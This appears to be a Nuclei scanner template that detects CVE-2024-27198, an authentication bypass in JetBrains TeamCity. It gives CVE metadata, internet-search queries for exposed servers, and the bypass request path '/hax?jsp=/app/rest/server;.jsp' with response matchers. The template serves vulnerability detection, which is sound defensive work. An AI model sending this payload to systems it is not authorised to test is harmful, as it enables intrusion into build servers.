id: CVE-2024-27198 info: name: TeamCity < 2023.11.4 - Authentication Bypass author: DhiyaneshDk severity: critical description: | In JetBrains TeamCity before 2023.11.4 authentication bypass allowing to perform admin actions was possible reference: - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/ - https://nvd.nist.gov/vuln/detail/CVE-2024-27198 - https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive - https://github.com/rampantspark/CVE-2024-27198 - https://github.com/fireinrain/github-trending classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-27198 cwe-id: CWE-288 epss-score: 0.97209 epss-percentile: 0.99812 cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: jetbrains product: teamcity shodan-query: - http.component:"TeamCity" - http.title:teamcity - http.component:"teamcity" fofa-query: title=teamcity google-query: intitle:teamcity tags: cve,cve2024,teamcity,jetbrains,auth-bypass,kev http: - method: GET path: - "{{BaseURL}}/hax?jsp=/app/rest/server;.jsp" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(header, "application/xml")' - 'contains_all(body, "buildNumber", "server version", "internalId")' condition: and # digest: 4a0a00473045022100a0849961f44a2fee3b59f3c520432b723a00791dc5d185d1f038e82d19c43f0a02201394347c9b846db379a0bd5082e2e1a6527d4ecec7b55841322f69307cd641ec:922c64590222798bb761d5b6d8e72950